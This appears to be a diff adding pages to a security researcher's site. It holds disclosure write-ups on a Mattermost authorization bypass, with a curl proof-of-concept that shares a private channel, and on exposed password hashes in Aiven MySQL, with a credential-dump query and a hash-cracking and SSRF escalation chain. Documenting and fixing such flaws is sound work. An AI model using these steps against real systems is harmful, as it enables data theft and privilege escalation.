| + | </li> | |
| + | <li> | |
| + | <ol start="10"> | |
| + | <li>If a valid remote cluster ID is used: the private channel becomes shared and its messages sync to the remote cluster, exfiltrating confidential data.</li> | |
| + | </ol> | |
| + | </li> | |
| + | </ol> | |
| + | <pre><code class="language-bash">curl -X POST "https://TARGET/api/v4/remotecluster/REMOTE_CLUSTER_ID/channels/PRIVATE_CHANNEL_ID/invite" \ | |
| + | -H "Authorization: Bearer SHARED_CHANNEL_MANAGER_TOKEN" \ | |
| + | -H "Content-Type: application/json" | |
| + | </code></pre> | |
| + | <h2>Evidence</h2> | |
| + | <pre><code>**Docker verification on mattermost-preview:latest (v11.5.1):** | |
| + | ||
| + | Differential test - same endpoint, same private channel (created by user2, not accessible to either test user): | |
| + | ||
| + | </code></pre> | |
| + | <p>Admin (has manage_shared_channels via system_admin): | |
| + | POST /api/v4/remotecluster/aaaabbbb…/channels/{private_channel_id}/invite | |
| + | => HTTP 501: “The remote cluster service is not enabled.” | |
| + | (PASSED auth check at line 153, reached GetRemoteClusterService at line 159)</p> | |
| + | <p>Regular user (no manage_shared_channels): | |
| + | POST /api/v4/remotecluster/aaaabbbb…/channels/{private_channel_id}/invite | |
| + | => HTTP 403: “You do not have the appropriate permissions.” | |
| + | (BLOCKED at RequirePermissionToManageSharedChannels at line 153)</p> | |
| + | <pre><code> | |
| + | The 501 vs 403 differential proves the **only** authorization gate is the system-level `ManageSharedChannels` permission. No channel-level check (`SessionHasPermissionToChannel`) exists anywhere in the invite flow. On a production instance with the remote cluster service fully configured, the request would proceed to share the private channel. | |
| + | ||
| + | **Source code proof (GitHub HEAD):** | |
| + | ||
| + | ```go | |
| + | // api4/shared_channel.go:142 - VULNERABLE | |
| + | func inviteRemoteClusterToChannel(c *Context, w http.ResponseWriter, r *http.Request) { | |
| + | c.RequireRemoteId() | |
| + | c.RequireChannelId() | |
| + | c.RequirePermissionToManageSharedChannels() // Line 153: system-level ONLY | |
| + | // MISSING: c.App.SessionHasPermissionToChannel(... c.Params.ChannelId, model.PermissionReadChannel) | |
| + | ... | |
| + | c.App.InviteRemoteToChannel(c.Params.ChannelId, c.Params.RemoteId, ...) // Line 180 | |
| + | } | |
| + | ||
| + | // web/context.go:837 - confirms system scope | |
| + | func (c *Context) RequirePermissionToManageSharedChannels() *Context { | |
| + | if !c.App.SessionHasPermissionTo(*c.AppContext.Session(), model.PermissionManageSharedChannels) { | |
| + | c.SetPermissionError(model.PermissionManageSharedChannels) | |
| + | } | |
| + | return c | |
| + | } | |
| + | ||
| + | // api4/shared_channel.go:265 - SECURE (same file, inconsistent) | |
| + | func getSharedChannelRemotes(c *Context, w http.ResponseWriter, r *http.Request) { | |
| + | if ok, _ := c.App.SessionHasPermissionToChannel(c.AppContext, *c.AppContext.Session(), | |
| + | c.Params.ChannelId, model.PermissionReadChannel); !ok { | |
| + | c.SetPermissionError(model.PermissionReadChannel) // HAS channel check | |
| + | return | |
| + | } | |
| + | } | |
| + | </code></pre> | |
| + | <pre><code> | |
| + | ## Impact | |
| + | ||
| + | **Confidentiality: HIGH** - An attacker with `SharedChannelManager` role (non-sysadmin) can exfiltrate all messages from any private channel on the instance by inviting their controlled remote cluster to it. This includes: | |
| + | - Private channel message history (full sync) | |
| + | - File attachments shared in the channel | |
| + | - User metadata of channel members | |
| + | - Ongoing real-time message sync | |
| + | ||
| + | **Integrity: MEDIUM** - The attacker could also uninvite legitimate remotes from shared channels (via the uninvite endpoint with the same missing check), disrupting authorized cross-cluster collaboration. | |
| + | ||
| + | **Additional attack surface:** The Plugin API (`PluginAPI.InviteRemoteToChannel` at plugin_api.go:1504) performs zero authorization checks. Any installed plugin can share any channel with any remote without any permission validation, extending this vulnerability to plugin-based attacks. | |
| + | ||
| + | **Scope escalation:** The `shareIfNotShared=true` parameter (passed by the API handler) causes the service layer to auto-share a previously unshared private channel before inviting the remote - silently converting a channel that was never intended to be shared. | |
| + | ||
| + | ## Root Cause | |
| + | ||
| + | Authorization scope mismatch. The `RequirePermissionToManageSharedChannels()` function (web/context.go:842) calls `SessionHasPermissionTo()` which is a **system-level** permission check. It verifies the user holds the `manage_shared_channels` permission globally, but does not verify the user has any access to the specific channel being shared. | |
| + | ||
| + | The correct fix requires adding a channel-level check - `SessionHasPermissionToChannel(channelId, PermissionReadChannel)` - before proceeding with the invite, consistent with how `getSharedChannelRemotes` (line 265 in the same file) already checks channel access. | |
| + | ||
| + | The `ManageSharedChannels` permission is defined with `PermissionScopeSystem` (model/permission.go:836), which is architecturally correct for controlling who can manage shared channels in general. But the invite/uninvite endpoints need an **additional** channel-scoped check to enforce that the user can only share channels they have access to. | |
| + | ||
| + | ## Suggested Fix | |
| + | ||
| + | Add `SessionHasPermissionToChannel` check in both `inviteRemoteClusterToChannel` and `uninviteRemoteClusterToChannel` handlers, after the existing `RequirePermissionToManageSharedChannels` check: | |
| + | ||
| + | ```go | |
| + | // api4/shared_channel.go - inviteRemoteClusterToChannel (after line 156) | |
| + | if ok, _ := c.App.SessionHasPermissionToChannel(c.AppContext, *c.AppContext.Session(), | |
| + | c.Params.ChannelId, model.PermissionReadChannel); !ok { | |
| + | c.SetPermissionError(model.PermissionReadChannel) | |
| + | return | |
| + | } | |
| + | </code></pre> | |
| + | <p>Apply the same fix to: | |
| + | 1. <code>uninviteRemoteClusterToChannel</code> (after line 207) | |
| + | 2. <code>PluginAPI.InviteRemoteToChannel</code> (plugin_api.go:1504), add channel membership validation | |
| + | 3. <code>PluginAPI.UninviteRemoteFromChannel</code> (plugin_api.go:1508), same | |
| + | 4. The <code>/share invite</code> slash command handler (command_share.go), already implicitly scoped to current channel but should be explicitly validated</p> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/grafana/mattermost-shared-channel-authz-bypass.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,332 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Aiven Internal System Account Password Hashes Exposed to Customer Users via mysql.user SELECT on Aiven Managed MySQL | Zion Boggan</title> | |
| + | <meta name="description" content="MySQL binlog ACL bypass surfaces replication credentials."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/mysql-credential-exposure/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Aiven Internal System Account Password Hashes Exposed to Customer Users via mysql.user SELECT on Aiven Managed MySQL | Zion Boggan"> | |
| + | <meta property="og:description" content="MySQL binlog ACL bypass surfaces replication credentials."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/mysql-credential-exposure/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Aiven Internal System Account Password Hashes Exposed to Customer Users via mysql.user SELECT on Aiven Managed MySQL | Zion Boggan"> | |
| + | <meta name="twitter:description" content="MySQL binlog ACL bypass surfaces replication credentials."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Aiven Internal System Account Password Hashes Exposed to Customer Users via mysql.user SELECT on Aiven Managed MySQL","description":"MySQL binlog ACL bypass surfaces replication credentials.","url":"https://zionboggan.com/security-research-notebook/mysql-credential-exposure/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Info disclosure</div> | |
| + | <h1>Aiven Internal System Account Password Hashes Exposed to Customer Users via mysql.user SELECT on Aiven Managed MySQL</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Summary</h2> | |
| + | <p>On Aiven’s managed MySQL service, the default <code>avnadmin</code> user has unrestricted <code>SELECT</code> access to the <code>mysql.user</code> system table, which exposes the <code>caching_sha2_password</code> password hashes for ALL system accounts, including Aiven’s internal <code>root</code> user, the <code>repluser</code> replication account, and the <code>metrics_user_datadog</code> and <code>metrics_user_telegraf</code> monitoring accounts.</p> | |
| + | <p>The root account (<code>root@fda7:a938:5bfe:5fa6:%</code>) has full <code>SUPER</code>, <code>FILE</code>, <code>SHUTDOWN</code>, and all administrative privileges, and is accessible from any host within Aiven’s internal IPv6 ULA prefix. Any customer who can crack the root password hash and access the internal network (e.g., via a cross-service SSRF from another compromised Aiven service) gains full MySQL root access with capabilities far exceeding what <code>avnadmin</code> is intended to have, including <code>FILE</code> (arbitrary file read/write), <code>SUPER</code> (bypass all restrictions), and <code>SHUTDOWN</code>.</p> | |
| + | <p>Aiven demonstrates clear intent to restrict <code>avnadmin</code>‘s access to the mysql system schema by explicitly revoking INSERT, UPDATE, DELETE, CREATE, DROP, and other write privileges on <code>mysql.*</code>. However, <code>SELECT</code> was not revoked, exposing all credential data.</p> | |
| + | <h2>Affected Target</h2> | |
| + | <ul> | |
| + | <li><strong>Service:</strong> Aiven for MySQL (Tier 2)</li> | |
| + | <li><strong>Version tested:</strong> MySQL 8.0.45</li> | |
| + | <li><strong>Instance:</strong> <host>:12741</li> | |
| + | </ul> | |
| + | <h2>Severity</h2> | |
| + | <p><strong>P2, Sensitive Data Exposure</strong></p> | |
| + | <p><strong>VRT:</strong> Server Security Misconfiguration > Database Management System (DBMS) Misconfiguration > Excessively Privileged User / DBA</p> | |
| + | <p><strong>CVSS 3.1:</strong> <code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N</code>, <strong>Score: 7.7 (High)</strong></p> | |
| + | <ul> | |
| + | <li><strong>C:H</strong>, Complete credential exposure of all system accounts including root</li> | |
| + | <li><strong>S:C</strong>, Scope changed: customer credentials expose Aiven’s internal infrastructure accounts</li> | |
| + | </ul> | |
| + | <h2>Steps to Reproduce</h2> | |
| + | <h3>One-command credential dump</h3> | |
| + | <pre><code class="language-sql">SELECT user, host, plugin, authentication_string, Super_priv, | |
| + | Grant_priv, password_expired, account_locked | |
| + | FROM mysql.user; | |
| + | </code></pre> | |
| + | <h3>Actual output on Aiven (redacted hashes truncated):</h3> | |
| + | <pre><code>+----------------------------+-------------------------------+---------------------------+--------------------------------------------------+ | |
| + | | user | host | plugin | authentication_string (truncated) | | |
| + | +----------------------------+-------------------------------+---------------------------+--------------------------------------------------+ | |
| + | | avnadmin | % | caching_sha2_password | $A$005$<hash> | | |
| + | | repluser | % | caching_sha2_password | $A$005$<hash> | | |
| + | | metrics_user_datadog | ::1 | caching_sha2_password | $A$005$<hash> | | |
| + | | metrics_user_telegraf | ::1 | caching_sha2_password | $A$005$<hash> | | |
| + | | root | fda7:a938:5bfe:5fa6:% | caching_sha2_password | $A$005$<hash> (Super=Y, Grant=Y, locked=N) | | |
| + | | mysql.infoschema | localhost | caching_sha2_password | THISISACOMBINATIONOFINVALID... | | |
| + | | mysql.session | localhost | caching_sha2_password | THISISACOMBINATIONOFINVALID... | | |
| + | | mysql.sys | localhost | caching_sha2_password | THISISACOMBINATIONOFINVALID... | | |
| + | +----------------------------+-------------------------------+---------------------------+--------------------------------------------------+ | |
| + | </code></pre> | |
| + | <h3>Key exposed accounts:</h3> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>Account</th> | |
| + | <th>Host Restriction</th> | |
| + | <th>Privileges</th> | |
| + | <th>Risk</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td><code>root</code></td> | |
| + | <td><code>fda7:a938:5bfe:5fa6:%</code></td> | |
| + | <td>ALL + SUPER + FILE + SHUTDOWN</td> | |
| + | <td>Full server control from internal network</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>repluser</code></td> | |
| + | <td><code>%</code> (any host)</td> | |
| + | <td>REPLICATION SLAVE + SERVICE_CONNECTION_ADMIN</td> | |
| + | <td>Binary log streaming from anywhere</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>metrics_user_datadog</code></td> | |
| + | <td><code>::1</code> (localhost)</td> | |
| + | <td>Monitoring access</td> | |
| + | <td>Internal monitoring disruption</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>metrics_user_telegraf</code></td> | |
| + | <td><code>::1</code> (localhost)</td> | |
| + | <td>Monitoring access</td> | |
| + | <td>Internal monitoring disruption</td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <h2>Impact</h2> | |
| + | <h3>1. Internal Root Account Credential Exposure</h3> | |
| + | <p>The <code>root@fda7:a938:5bfe:5fa6:%</code> user has ALL privileges including SUPER, FILE, and SHUTDOWN. Its password hash is fully exposed. The host restriction uses Aiven’s internal IPv6 ULA prefix (<code>fda7:a938:5bfe:5fa6::/80</code>), which is shared across Aiven services in the same region.</p> | |
| + | <p>An attacker who cracks the root hash can escalate to full MySQL root from any other Aiven service on the internal network, gaining capabilities that <code>avnadmin</code> intentionally lacks: | |
| + | - <strong>FILE privilege</strong>: Read/write arbitrary files on the MySQL host | |
| + | - <strong>SUPER privilege</strong>: Bypass all access restrictions, change global variables, kill any process | |
| + | - <strong>SHUTDOWN privilege</strong>: Stop the MySQL server | |
| + | - <strong>SYSTEM_VARIABLES_ADMIN</strong>: Enable <code>local_infile</code>, change <code>secure_file_priv</code>, modify logging</p> | |
| + | <h3>2. Replication Account Exposure</h3> | |
| + | <p>The <code>repluser@%</code> account has REPLICATION SLAVE privilege with no host restriction. If its password is cracked, an attacker can connect from any IP and stream the entire binary log, exfiltrating ALL data changes including INSERTs with sensitive values (passwords, tokens, PII).</p> | |
| + | <h3>3. Cross-Service Escalation Path</h3> | |
| + | <p>The internal IPv6 prefix <code>fda7:a938:5bfe:5fa6::/80</code> is the same prefix discovered via PostgreSQL SSRF (documented in separate submission). This creates a cross-service attack chain:</p> | |
| + | <pre><code>Customer MySQL (avnadmin) → SELECT mysql.user → root password hash | |
| + | → Crack hash offline | |
| + | Customer PG (SSRF via dblink) → Connect to MySQL internal IPv6 | |
| + | → Authenticate as root with cracked password | |
| + | → Full MySQL root: FILE, SUPER, SHUTDOWN | |
| + | </code></pre> | |
| + | <h3>4. Additional Information Disclosure</h3> | |
| + | <p>The <code>admin_address</code> global variable reveals the MySQL admin interface binding: <code>fda7:a938:5bfe:5fa6:0:5a9:6ce7:66e1</code>. Combined with the root hash, this pinpoints the exact target for internal privilege escalation.</p> | |
| + | <p>Binary logs are also readable via <code>SHOW BINLOG EVENTS</code>, exposing all DDL/DML history including CREATE USER statements with IDENTIFIED BY clauses.</p> | |
| + | <h2>Root Cause</h2> | |
| + | <p>Aiven’s privilege model for <code>avnadmin</code> explicitly revokes write operations on the <code>mysql</code> schema:</p> | |
| + | <pre><code class="language-sql">REVOKE INSERT, UPDATE, DELETE, CREATE, DROP, REFERENCES, INDEX, ALTER, | |
| + | CREATE TEMPORARY TABLES, LOCK TABLES, EXECUTE, CREATE VIEW, SHOW VIEW, | |
| + | CREATE ROUTINE, ALTER ROUTINE, EVENT, TRIGGER | |
| + | ON "mysql".* FROM "avnadmin"@"%" | |
| + | </code></pre> | |
| + | <p>This demonstrates Aiven’s intent to restrict access to system tables. However, <code>SELECT</code> was not included in the revocation, allowing full read access to <code>mysql.user</code> and all system tables containing credentials and configuration.</p> | |
| + | <h2>Recommended Fix</h2> | |
| + | <ol> | |
| + | <li> | |
| + | <p><strong>Immediate:</strong> Revoke SELECT on <code>mysql.user</code> for <code>avnadmin</code>: | |
| + | <code>sql | |
